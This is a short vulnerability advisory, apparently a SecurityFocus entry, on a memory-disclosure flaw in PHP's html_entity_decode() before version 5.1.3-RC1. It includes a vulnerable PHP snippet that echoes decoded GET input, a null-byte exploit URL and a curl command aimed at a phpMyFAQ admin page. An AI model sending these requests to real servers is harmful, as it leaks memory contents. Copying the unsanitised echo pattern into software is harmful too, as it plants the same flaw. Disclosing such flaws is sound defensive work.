source: https://www.securityfocus.com/bid/17296/info

PHP 'html_entity_decode()' function is prone to an information-disclosure vulnerability. This issue arises when a script using the function accepts data from a remote untrusted source and returns the function's result to an attacker. 

Information that the attacker gathers by exploiting this vulnerability may aid in other attacks.

PHP versions prior to 5.1.3-RC1 are vulnerable to this issue.

<?php

$foobar=html_entity_decode($_GET['foo']);
echo $foobar;

?>

Running it with url:

http://www.example.com/index.php?foo=%00sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
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curl "http://www.example.com/phpmyfaq/admin/index.php" -D - -d "faqusername=%00VERYLONGSTRINGHEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"